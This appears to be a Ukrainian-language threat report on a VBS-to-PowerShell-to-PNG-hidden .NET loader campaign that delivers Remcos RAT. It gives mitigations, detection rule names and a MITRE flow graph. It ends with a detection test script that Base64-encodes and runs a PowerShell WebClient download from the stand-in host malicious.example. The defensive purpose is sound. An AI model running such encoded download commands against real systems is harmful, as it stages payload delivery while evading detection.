Відстеження багатовекторної кампанії з розповсюдження зловмисного ПЗ: від VBS до відкритої інфраструктури
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Звіт охоплює модульну багатоступеневу кампанію з використанням шкідливого програмного забезпечення, яка починається з Unicode-затемненого VBS-завантажувача, переходить до безфайлового PowerShell-завантажувача та використовує PNG-файли для приховування збірки .NET, яка пізніше виконується в пам’яті. Звідти кампанія може доставляти кілька корисних навантажень, включаючи Remcos RAT, DLL для обходу UAC та інструменти на основі Python. Зловмисник розміщує весь набір інструментів у відкрито доступних каталогах під єдиним доменом .xyz і кількома субдоменами з підтримкою Cloudflare, що дозволяє швидко змінювати корисні навантаження та використовувати кілька шляхів доставки, таких як PDF-файли зі зброєю та зловмисні сценарії пакетів.
Розслідування
MDR SOC LevelBlue виявив VBS-артефакт через SentinelOne, ізолював його і декодував сценарій для аналізу. Слідчі виявили команду PowerShell, закодовану в Base64, яка завантажувала PNG-файли з вбудованими збірками .NET, які потім завантажувалися безпосередньо в пам’ять через відображення. Ширший огляд інфраструктури виявив відкриті каталоги, що обслуговують не лише додаткові VBS-завантажувачі, але й зловмисні файли пакетів, ZIP-архіви та корисні навантаження Python, пов’язані з тією ж кампанією.
Пом’якшення
Рекомендовані заходи захисту включають обмеження виконання високоризикованих типів скриптів, таких як .vbs і .bat, з шляхів, доступних для запису користувачем, застосування суворого контролю над використанням PowerShell та моніторинг підозрілих .NET-завантажень у пам’ять. Захисникам також слід блокувати домени .xyz і ретельно перевіряти або обмежувати трафік WebDAV, який зловжується через файли інтернет-закладок. На мережевому рівні, фільтрація доступу до відомої зловмисної інфраструктури може допомогти раніше порушити кампанію.
Реагування
Якщо виявлено цю активність, ізолюйте уражений кінцевий пристрій, заблокуйте всі пов’язані домени та URL-адреси та шукайте відповідні артефакти VBS та PowerShell. Слідчі повинні шукати у пам’яті відображену збірку .NET і переглянути систему на наявність запланованих завдань або файлів, створених з відкритих каталогів. Вміст для виявлення слід оновити, щоб розпізнати інсценування корисного навантаження на основі PNG і будь-які пов’язані компоненти пакетів або Python, пов’язані з кампанією.
"graph TB %% Class definitions classDef action fill:#c2e0ff classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef infrastructure fill:#d9ffcc %% Nodes node_vbs_file["<b>Шкідливе ПО</b> – <b>Назва</b>: Зловмисний VBS<br/><b>Розташування</b>: UsersPublicDownloadsName_File.vbs"] class node_vbs_file malware node_t1059_005["<b>Техніка</b> – T1059.005 Інтерпретатор команд і скриптів: Visual Basic<br/><b>Опис</b>: Виконати VBS-скрипт для запуску команд"] class node_t1059_005 technique node_t1027["<b>Техніка</b> – T1027 Затемнені файли чи інформація<br/><b>Опис</b>: Використати затемнення Unicode і Base64"] class node_t1027 technique node_vbs_decode["<b>Дія</b> – Декодувати PowerShell команду Base64"] class node_vbs_decode action node_t1059_001["<b>Техніка</b> – T1059.001 PowerShell<br/><b>Опис</b>: Виконати команди PowerShell"] class node_t1059_001 technique node_tls12["<b>Дія</b> – Примусити застосування TLS1.2 для мережевих з’єднань"] class node_tls12 action node_download_png["<b>Дія</b> – Завантажити PNG корисне навантаження з HTTP URL"] class node_download_png action node_t1071_001["<b>Техніка</b> – T1071.001 Протокол рівня прикладення: Веб-протоколи<br/><b>Опис</b>: Використовувати HTTP/HTTPS для передачі"] class node_t1071_001 technique node_t1659["<b>Техніка</b> – T1659 Впорскування контенту<br/><b>Опис</b>: Впорскнути зловмисний контент у легітимні файли"] class node_t1659 technique node_png_extraction["<b>Дія</b> – Витягти .NET збірку Base64 з PNG"] class node_png_extraction action node_t1620["<b>Техніка</b> – T1620 Відбиваюче завантаження коду<br/><b>Опис</b>: Завантажити .NET збірку безпосередньо в пам’ять"] class node_t1620 technique node_loader["<b>Шкідливе ПО</b> – PhantomVAI .NET завантажувач"] class node_loader malware node_fetch_payloads["<b>Дія</b> – Отримати додаткові URL корисного навантаження"] class node_fetch_payloads action node_remcos_rat["<b>Шкідливе ПО</b> – Remcos Дистанційний доступ Троян"] class node_remcos_rat malware node_uac_bypass["<b>Техніка</b> – T1548.002 Обхід Контролю Облікових записів<br/><b>Опис</b>: Обхід механізму контролю підвищення рівня"] class node_uac_bypass technique node_scheduled_task["<b>Техніка</b> – T1053 Заплановане завдання/робота<br/><b>Опис</b>: Створити заплановане завдання для стійкості"] class node_scheduled_task technique node_secondary_stage["<b>Дія</b> – Розгорнути пакетні та Python скрипти"] class node_secondary_stage action node_process_injection["<b>Техніка</b> – T1055 Впорскування у процеси<br/><b>Опис</b>: Впорскнути корисні навантаження в активні процеси"] class node_process_injection technique node_download_further["<b>Дія</b> – Завантажити додаткові файли з каталогів Cloudflare"] class node_download_further action node_c2_communication["<b>Техніка</b> – T1102.002 Веб-сервіс: Двостороння комунікація<br/><b>Опис</b>: HTTPS C2 трафік з використанням веб-сервісів"] class node_c2_communication technique node_open_directory["<b>Інфраструктура</b> – Відкрите хостування каталогів (news4me.xyz, Cloudflare)"] class node_open_directory infrastructure %% Зв’язки node_vbs_file –>|використовує| node_t1059_005 node_vbs_file –>|використовує| node_t1027 node_vbs_file –>|виконує| node_vbs_decode node_vbs_decode –>|виконує| node_t1059_001 node_vbs_decode –>|примушує| node_tls12 node_vbs_decode –>|завантажує| node_download_png node_download_png –>|використовує| node_t1071_001 node_download_png –>|може використовувати| node_t1659 node_download_png –>|містить| node_png_extraction node_png_extraction –>|завантажує за допомогою| node_t1620 node_t1620 –>|завантажує| node_loader node_loader –>|отримує| node_fetch_payloads node_fetch_payloads –>|доставляє| node_remcos_rat node_fetch_payloads –>|доставляє| node_uac_bypass node_loader –>|створює| node_scheduled_task node_loader –>|запускає| node_secondary_stage node_secondary_stage –>|виконує| node_process_injection node_secondary_stage –>|завантажує| node_download_further node_download_further –>|комунікує з| node_c2_communication node_c2_communication –>|розміщена на| node_open_directory "
Потік атаки
Виявлення
Підозріла комунікація домену Trycloudflare (через dns)
Переглянути
Можливе розв’язання Інтернет-архіву незвичайним процесом (через dns_query)
Переглянути
Підозрілі рядки PowerShell (через powershell)
Переглянути
LOLBAS WScript / CScript (через process_creation)
Переглянути
Підозріле управління та командування незвичайним запитом DNS верхнього рівня домену (TLD) (через dns)
Переглянути
Викликати підозрілі методи .NET з PowerShell (через powershell)
Переглянути
IOC (HashSha1) для виявлення: Відстеження багатовекторної кампанії з використанням шкідливого ПЗ: від VBS до відкритої інфраструктури Частина 1
Переглянути
IOC (HashSha1) для виявлення: Відстеження багатовекторної кампанії з використанням шкідливого ПЗ: від VBS до відкритої інфраструктури Частина 2
Переглянути
Виявлення Base64-кодованої команди PowerShell за допомогою Net.WebClient [Windows Powershell]
Переглянути
Завантажувач PowerShell, доступ до PNG і TXT URL [Windows Network Connection]
Переглянути
Виявлення відбивально завантаженого методу виконання .NET (VAI Loader) через VBS [Windows Process Creation]
Переглянути
Сценарій виконання
Передумови: передпольотна перевірка телеметрії та базових показників повинна пройти.
Рationale: Цей розділ описує точне виконання техніки противника (TTP), призначеного для запуску правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати визначені TTP та бути спрямованими на створення точних телеметричних даних, очікуваних логікою виявлення.
-
Наратив атаки та команди:
Зловмисник отримав однострічкову команду PowerShell, яка завантажує зловмисне навантаження з віддаленого сервера HTTP і виконує його. Щоб уникнути простого виявлення файлу скрипта, команда закодована в Base64 і виконується через
powershell.exe -EncodedCommand. Рядок командного рядка, таким чином, містить три рядки, які відстежує правило: powershell, Base64, та Net.WebClient.-
Атакуючий створює скрипт PowerShell:
$wc = New-Object System.Net.WebClient; $wc.DownloadString('http://malicious.example/payload'); -
Скрипт закодований в UTF‑16LE і в Base64.
-
Атакуючий запускає закодовану команду з командного рядка Windows (або запланованого завдання).
-
-
Сценарій регресійного тестування:
# -------------------------------------------------------------- # Сценарій PowerShell для симуляції завантаження Net.WebClient, закодованого в Base64 # -------------------------------------------------------------- # 1. Визначте зловмисну однострічкову команду PowerShell $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicious.example/payload'');' # 2. Закодуйте команду в UTF‑16LE, а потім Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious) $b64 = [Convert]::ToBase64String($bytes) # 3. Виконайте закодовану команду – цей рядок генерує телеметричні дані # які відсліджує правило Sigma (powershell + Base64 + Net.WebClient) powershell.exe -EncodedCommand $b64 -
Команди очищення:
# -------------------------------------------------------------- # Очищення – зупинка будь-яких залишкових процесів PowerShell, запущених тестом # -------------------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match 'malicious.example' } | Stop-Process -Force # Видаліть будь-які тимчасові файли (жодних не створено в цьому тесті)
Кінець звіту